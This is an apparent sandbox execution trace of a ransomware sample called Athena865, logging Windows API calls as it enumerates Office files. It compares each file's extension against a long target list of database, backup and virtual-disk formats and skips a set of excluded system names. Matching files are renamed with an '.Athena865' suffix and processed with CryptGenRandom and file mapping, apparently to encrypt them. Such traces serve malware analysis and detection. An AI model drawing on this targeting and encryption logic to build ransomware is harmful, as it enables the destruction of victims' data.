[0141.218] lstrcmpiW (lpString1="VRD", lpString2="myd") returned 1 [0141.218] lstrlenW (lpString="ndf") returned 3 [0141.218] lstrcmpiW (lpString1="VRD", lpString2="ndf") returned 1 [0141.218] lstrlenW (lpString="nnt") returned 3 [0141.218] lstrcmpiW (lpString1="VRD", lpString2="nnt") returned 1 [0141.218] lstrlenW (lpString="nrmlib") returned 6 [0141.218] lstrcmpiW (lpString1="FF.VRD", lpString2="nrmlib") returned -1 [0141.219] lstrlenW (lpString="ns2") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="ns2") returned 1 [0141.219] lstrlenW (lpString="ns3") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="ns3") returned 1 [0141.219] lstrlenW (lpString="ns4") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="ns4") returned 1 [0141.219] lstrlenW (lpString="nsf") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="nsf") returned 1 [0141.219] lstrlenW (lpString="nv") returned 2 [0141.219] lstrcmpiW (lpString1="RD", lpString2="nv") returned 1 [0141.219] lstrlenW (lpString="nv2") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="nv2") returned 1 [0141.219] lstrlenW (lpString="nwdb") returned 4 [0141.219] lstrcmpiW (lpString1=".VRD", lpString2="nwdb") returned -1 [0141.219] lstrlenW (lpString="nyf") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="nyf") returned 1 [0141.219] lstrlenW (lpString="odb") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="odb") returned 1 [0141.219] lstrlenW (lpString="odb") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="odb") returned 1 [0141.219] lstrlenW (lpString="oqy") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="oqy") returned 1 [0141.219] lstrlenW (lpString="ora") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="ora") returned 1 [0141.219] lstrlenW (lpString="orx") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="orx") returned 1 [0141.219] lstrlenW (lpString="owc") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="owc") returned 1 [0141.219] lstrlenW (lpString="p96") returned 3 [0141.219] lstrcmpiW (lpString1="VRD", lpString2="p96") returned 1 [0141.219] lstrlenW (lpString="p97") returned 3 [0141.220] lstrcmpiW (lpString1="VRD", lpString2="p97") returned 1 [0141.220] lstrlenW (lpString="pan") returned 3 [0141.220] lstrcmpiW (lpString1="VRD", lpString2="pan") returned 1 [0141.220] lstrlenW (lpString="pdb") returned 3 [0141.220] lstrcmpiW (lpString1="VRD", lpString2="pdb") returned 1 [0141.220] lstrlenW (lpString="pdm") returned 3 [0141.220] lstrcmpiW (lpString1="VRD", lpString2="pdm") returned 1 [0141.220] lstrlenW (lpString="pnz") returned 3 [0141.220] lstrcmpiW (lpString1="VRD", lpString2="pnz") returned 1 [0141.220] lstrlenW (lpString="qry") returned 3 [0141.220] lstrcmpiW (lpString1="VRD", lpString2="qry") returned 1 [0141.220] lstrlenW (lpString="qvd") returned 3 [0141.220] lstrcmpiW (lpString1="VRD", lpString2="qvd") returned 1 [0141.220] lstrlenW (lpString="rbf") returned 3 [0141.220] lstrcmpiW (lpString1="VRD", lpString2="rbf") returned 1 [0141.220] lstrlenW (lpString="rctd") returned 4 [0141.220] lstrcmpiW (lpString1=".VRD", lpString2="rctd") returned -1 [0141.220] lstrlenW (lpString="rod") returned 3 [0141.220] lstrcmpiW (lpString1="VRD", lpString2="rod") returned 1 [0141.220] lstrlenW (lpString="rodx") returned 4 [0141.220] lstrcmpiW (lpString1=".VRD", lpString2="rodx") returned -1 [0141.220] lstrlenW (lpString="rpd") returned 3 [0141.220] lstrcmpiW (lpString1="VRD", lpString2="rpd") returned 1 [0141.220] lstrlenW (lpString="rsd") returned 3 [0141.220] lstrcmpiW (lpString1="VRD", lpString2="rsd") returned 1 [0141.220] lstrlenW (lpString="sas7bdat") returned 8 [0141.220] lstrcmpiW (lpString1="DIFF.VRD", lpString2="sas7bdat") returned -1 [0141.220] lstrlenW (lpString="sbf") returned 3 [0141.220] lstrcmpiW (lpString1="VRD", lpString2="sbf") returned 1 [0141.220] lstrlenW (lpString="scx") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="scx") returned 1 [0141.221] lstrlenW (lpString="sdb") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="sdb") returned 1 [0141.221] lstrlenW (lpString="sdc") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="sdc") returned 1 [0141.221] lstrlenW (lpString="sdf") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="sdf") returned 1 [0141.221] lstrlenW (lpString="sis") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="sis") returned 1 [0141.221] lstrlenW (lpString="spq") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="spq") returned 1 [0141.221] lstrlenW (lpString="te") returned 2 [0141.221] lstrcmpiW (lpString1="RD", lpString2="te") returned -1 [0141.221] lstrlenW (lpString="teacher") returned 7 [0141.221] lstrcmpiW (lpString1="IFF.VRD", lpString2="teacher") returned -1 [0141.221] lstrlenW (lpString="tmd") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="tmd") returned 1 [0141.221] lstrlenW (lpString="tps") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="tps") returned 1 [0141.221] lstrlenW (lpString="trc") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="trc") returned 1 [0141.221] lstrlenW (lpString="trc") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="trc") returned 1 [0141.221] lstrlenW (lpString="trm") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="trm") returned 1 [0141.221] lstrlenW (lpString="udb") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="udb") returned 1 [0141.221] lstrlenW (lpString="udl") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="udl") returned 1 [0141.221] lstrlenW (lpString="usr") returned 3 [0141.221] lstrcmpiW (lpString1="VRD", lpString2="usr") returned 1 [0141.222] lstrlenW (lpString="v12") returned 3 [0141.222] lstrcmpiW (lpString1="VRD", lpString2="v12") returned 1 [0141.222] lstrlenW (lpString="vis") returned 3 [0141.222] lstrcmpiW (lpString1="VRD", lpString2="vis") returned 1 [0141.222] lstrlenW (lpString="vpd") returned 3 [0141.222] lstrcmpiW (lpString1="VRD", lpString2="vpd") returned 1 [0141.222] lstrlenW (lpString="vvv") returned 3 [0141.222] lstrcmpiW (lpString1="VRD", lpString2="vvv") returned -1 [0141.222] lstrlenW (lpString="wdb") returned 3 [0141.222] lstrcmpiW (lpString1="VRD", lpString2="wdb") returned -1 [0141.222] lstrlenW (lpString="wmdb") returned 4 [0141.222] lstrcmpiW (lpString1=".VRD", lpString2="wmdb") returned -1 [0141.222] lstrlenW (lpString="wrk") returned 3 [0141.222] lstrcmpiW (lpString1="VRD", lpString2="wrk") returned -1 [0141.222] lstrlenW (lpString="xdb") returned 3 [0141.222] lstrcmpiW (lpString1="VRD", lpString2="xdb") returned -1 [0141.222] lstrlenW (lpString="xld") returned 3 [0141.222] lstrcmpiW (lpString1="VRD", lpString2="xld") returned -1 [0141.222] lstrlenW (lpString="xmlff") returned 5 [0141.222] lstrcmpiW (lpString1="F.VRD", lpString2="xmlff") returned -1 [0141.222] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.Athena865") returned 70 [0141.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.athena865"), dwFlags=0x1) returned 1 [0141.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.224] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1919) returned 1 [0141.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.225] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.225] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.225] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.226] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa80, lpName=0x0) returned 0x17c [0141.227] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa80) returned 0x100000 [0141.228] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.229] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.229] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.230] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.230] CloseHandle (hObject=0x17c) returned 1 [0141.230] CloseHandle (hObject=0x154) returned 1 [0141.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.230] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ede00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ede00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x51d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HVACDUCT.VRD", cAlternateFileName="")) returned 1 [0141.230] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.230] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.230] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2=".") returned 1 [0141.230] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2="..") returned 1 [0141.230] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2="windows") returned -1 [0141.230] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2="bootmgr") returned 1 [0141.230] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2="temp") returned -1 [0141.230] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2="pagefile.sys") returned -1 [0141.230] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2="boot") returned 1 [0141.230] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2="ids.txt") returned -1 [0141.231] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2="ntuser.dat") returned -1 [0141.231] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2="perflogs") returned -1 [0141.231] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2="MSBuild") returned -1 [0141.231] lstrlenW (lpString="HVACDUCT.VRD") returned 12 [0141.231] lstrcpyW (in: lpString1=0x241e8a8, lpString2="HVACDUCT.VRD" | out: lpString1="HVACDUCT.VRD") returned="HVACDUCT.VRD" [0141.231] lstrlenW (lpString="HVACDUCT.VRD") returned 12 [0141.231] lstrlenW (lpString="Athena865") returned 9 [0141.231] lstrcmpiW (lpString1="CDUCT.VRD", lpString2="Athena865") returned 1 [0141.231] lstrlenW (lpString=".dll") returned 4 [0141.231] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2=".dll") returned 1 [0141.231] lstrlenW (lpString=".lnk") returned 4 [0141.231] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2=".lnk") returned 1 [0141.231] lstrlenW (lpString=".ini") returned 4 [0141.231] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2=".ini") returned 1 [0141.231] lstrlenW (lpString=".sys") returned 4 [0141.231] lstrcmpiW (lpString1="HVACDUCT.VRD", lpString2=".sys") returned 1 [0141.231] lstrlenW (lpString="HVACDUCT.VRD") returned 12 [0141.231] lstrlenW (lpString="bak") returned 3 [0141.231] lstrcmpiW (lpString1="VRD", lpString2="bak") returned 1 [0141.231] lstrlenW (lpString="ba_") returned 3 [0141.231] lstrcmpiW (lpString1="VRD", lpString2="ba_") returned 1 [0141.231] lstrlenW (lpString="dbb") returned 3 [0141.231] lstrcmpiW (lpString1="VRD", lpString2="dbb") returned 1 [0141.231] lstrlenW (lpString="vmdk") returned 4 [0141.231] lstrcmpiW (lpString1=".VRD", lpString2="vmdk") returned -1 [0141.231] lstrlenW (lpString="rar") returned 3 [0141.231] lstrcmpiW (lpString1="VRD", lpString2="rar") returned 1 [0141.231] lstrlenW (lpString="zip") returned 3 [0141.231] lstrcmpiW (lpString1="VRD", lpString2="zip") returned -1 [0141.232] lstrlenW (lpString="tgz") returned 3 [0141.232] lstrcmpiW (lpString1="VRD", lpString2="tgz") returned 1 [0141.232] lstrlenW (lpString="vbox") returned 4 [0141.232] lstrcmpiW (lpString1=".VRD", lpString2="vbox") returned -1 [0141.232] lstrlenW (lpString="vdi") returned 3 [0141.232] lstrcmpiW (lpString1="VRD", lpString2="vdi") returned 1 [0141.232] lstrlenW (lpString="vhd") returned 3 [0141.232] lstrcmpiW (lpString1="VRD", lpString2="vhd") returned 1 [0141.232] lstrlenW (lpString="vhdx") returned 4 [0141.232] lstrcmpiW (lpString1=".VRD", lpString2="vhdx") returned -1 [0141.232] lstrlenW (lpString="avhd") returned 4 [0141.232] lstrcmpiW (lpString1=".VRD", lpString2="avhd") returned -1 [0141.232] lstrlenW (lpString="db") returned 2 [0141.232] lstrcmpiW (lpString1="RD", lpString2="db") returned 1 [0141.232] lstrlenW (lpString="db2") returned 3 [0141.232] lstrcmpiW (lpString1="VRD", lpString2="db2") returned 1 [0141.232] lstrlenW (lpString="db3") returned 3 [0141.232] lstrcmpiW (lpString1="VRD", lpString2="db3") returned 1 [0141.232] lstrlenW (lpString="dbf") returned 3 [0141.232] lstrcmpiW (lpString1="VRD", lpString2="dbf") returned 1 [0141.232] lstrlenW (lpString="mdf") returned 3 [0141.232] lstrcmpiW (lpString1="VRD", lpString2="mdf") returned 1 [0141.232] lstrlenW (lpString="mdb") returned 3 [0141.232] lstrcmpiW (lpString1="VRD", lpString2="mdb") returned 1 [0141.232] lstrlenW (lpString="sql") returned 3 [0141.232] lstrcmpiW (lpString1="VRD", lpString2="sql") returned 1 [0141.232] lstrlenW (lpString="sqlite") returned 6 [0141.232] lstrcmpiW (lpString1="CT.VRD", lpString2="sqlite") returned -1 [0141.232] lstrlenW (lpString="sqlite3") returned 7 [0141.232] lstrcmpiW (lpString1="UCT.VRD", lpString2="sqlite3") returned 1 [0141.233] lstrlenW (lpString="sqlitedb") returned 8 [0141.233] lstrcmpiW (lpString1="DUCT.VRD", lpString2="sqlitedb") returned -1 [0141.233] lstrlenW (lpString="xml") returned 3 [0141.233] lstrcmpiW (lpString1="VRD", lpString2="xml") returned -1 [0141.233] lstrlenW (lpString="$er") returned 3 [0141.233] lstrcmpiW (lpString1="VRD", lpString2="$er") returned 1 [0141.233] lstrlenW (lpString="4dd") returned 3 [0141.233] lstrcmpiW (lpString1="VRD", lpString2="4dd") returned 1 [0141.233] lstrlenW (lpString="4dl") returned 3 [0141.233] lstrcmpiW (lpString1="VRD", lpString2="4dl") returned 1 [0141.233] lstrlenW (lpString="^^^") returned 3 [0141.233] lstrcmpiW (lpString1="VRD", lpString2="^^^") returned 1 [0141.233] lstrlenW (lpString="abs") returned 3 [0141.233] lstrcmpiW (lpString1="VRD", lpString2="abs") returned 1 [0141.233] lstrlenW (lpString="abx") returned 3 [0141.233] lstrcmpiW (lpString1="VRD", lpString2="abx") returned 1 [0141.233] lstrlenW (lpString="accdb") returned 5 [0141.233] lstrcmpiW (lpString1="T.VRD", lpString2="accdb") returned 1 [0141.233] lstrlenW (lpString="accdc") returned 5 [0141.233] lstrcmpiW (lpString1="T.VRD", lpString2="accdc") returned 1 [0141.233] lstrlenW (lpString="accde") returned 5 [0141.233] lstrcmpiW (lpString1="T.VRD", lpString2="accde") returned 1 [0141.233] lstrlenW (lpString="accdr") returned 5 [0141.233] lstrcmpiW (lpString1="T.VRD", lpString2="accdr") returned 1 [0141.233] lstrlenW (lpString="accdt") returned 5 [0141.233] lstrcmpiW (lpString1="T.VRD", lpString2="accdt") returned 1 [0141.233] lstrlenW (lpString="accdw") returned 5 [0141.233] lstrcmpiW (lpString1="T.VRD", lpString2="accdw") returned 1 [0141.233] lstrlenW (lpString="accft") returned 5 [0141.233] lstrcmpiW (lpString1="T.VRD", lpString2="accft") returned 1 [0141.234] lstrlenW (lpString="adb") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0141.234] lstrlenW (lpString="adb") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0141.234] lstrlenW (lpString="ade") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="ade") returned 1 [0141.234] lstrlenW (lpString="adf") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="adf") returned 1 [0141.234] lstrlenW (lpString="adn") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="adn") returned 1 [0141.234] lstrlenW (lpString="adp") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="adp") returned 1 [0141.234] lstrlenW (lpString="alf") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="alf") returned 1 [0141.234] lstrlenW (lpString="ask") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="ask") returned 1 [0141.234] lstrlenW (lpString="btr") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="btr") returned 1 [0141.234] lstrlenW (lpString="cat") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="cat") returned 1 [0141.234] lstrlenW (lpString="cdb") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="cdb") returned 1 [0141.234] lstrlenW (lpString="ckp") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="ckp") returned 1 [0141.234] lstrlenW (lpString="cma") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="cma") returned 1 [0141.234] lstrlenW (lpString="cpd") returned 3 [0141.234] lstrcmpiW (lpString1="VRD", lpString2="cpd") returned 1 [0141.234] lstrlenW (lpString="dacpac") returned 6 [0141.234] lstrcmpiW (lpString1="CT.VRD", lpString2="dacpac") returned -1 [0141.235] lstrlenW (lpString="dad") returned 3 [0141.235] lstrcmpiW (lpString1="VRD", lpString2="dad") returned 1 [0141.235] lstrlenW (lpString="dadiagrams") returned 10 [0141.235] lstrcmpiW (lpString1="ACDUCT.VRD", lpString2="dadiagrams") returned -1 [0141.235] lstrlenW (lpString="daschema") returned 8 [0141.235] lstrcmpiW (lpString1="DUCT.VRD", lpString2="daschema") returned 1 [0141.235] lstrlenW (lpString="db-journal") returned 10 [0141.235] lstrcmpiW (lpString1="ACDUCT.VRD", lpString2="db-journal") returned -1 [0141.235] lstrlenW (lpString="db-shm") returned 6 [0141.235] lstrcmpiW (lpString1="CT.VRD", lpString2="db-shm") returned -1 [0141.235] lstrlenW (lpString="db-wal") returned 6 [0141.235] lstrcmpiW (lpString1="CT.VRD", lpString2="db-wal") returned -1 [0141.235] lstrlenW (lpString="dbc") returned 3 [0141.235] lstrcmpiW (lpString1="VRD", lpString2="dbc") returned 1 [0141.235] lstrlenW (lpString="dbs") returned 3 [0141.235] lstrcmpiW (lpString1="VRD", lpString2="dbs") returned 1 [0141.235] lstrlenW (lpString="dbt") returned 3 [0141.235] lstrcmpiW (lpString1="VRD", lpString2="dbt") returned 1 [0141.235] lstrlenW (lpString="dbv") returned 3 [0141.235] lstrcmpiW (lpString1="VRD", lpString2="dbv") returned 1 [0141.235] lstrlenW (lpString="dbx") returned 3 [0141.235] lstrcmpiW (lpString1="VRD", lpString2="dbx") returned 1 [0141.235] lstrlenW (lpString="dcb") returned 3 [0141.235] lstrcmpiW (lpString1="VRD", lpString2="dcb") returned 1 [0141.235] lstrcmpiW (lpString1="VRD", lpString2="dct") returned 1 [0141.236] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.Athena865") returned 70 [0141.236] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.athena865"), dwFlags=0x1) returned 1 [0141.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.237] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1309) returned 1 [0141.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.238] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.238] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.238] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.238] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.238] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.239] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x820, lpName=0x0) returned 0x17c [0141.240] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x820) returned 0x100000 [0141.241] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.242] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.242] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.242] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.242] CloseHandle (hObject=0x17c) returned 1 [0141.242] CloseHandle (hObject=0x154) returned 1 [0141.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.243] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x75790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INFINTL.DLL", cAlternateFileName="")) returned 1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2=".") returned 1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2="..") returned 1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2="windows") returned -1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2="bootmgr") returned 1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2="temp") returned -1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2="pagefile.sys") returned -1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2="boot") returned 1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2="ids.txt") returned 1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2="ntuser.dat") returned -1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2="perflogs") returned -1 [0141.243] lstrcmpiW (lpString1="INFINTL.DLL", lpString2="MSBuild") returned -1 [0141.243] lstrlenW (lpString="INFINTL.DLL") returned 11 [0141.243] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INFINTL.DLL" | out: lpString1="INFINTL.DLL") returned="INFINTL.DLL" [0141.243] 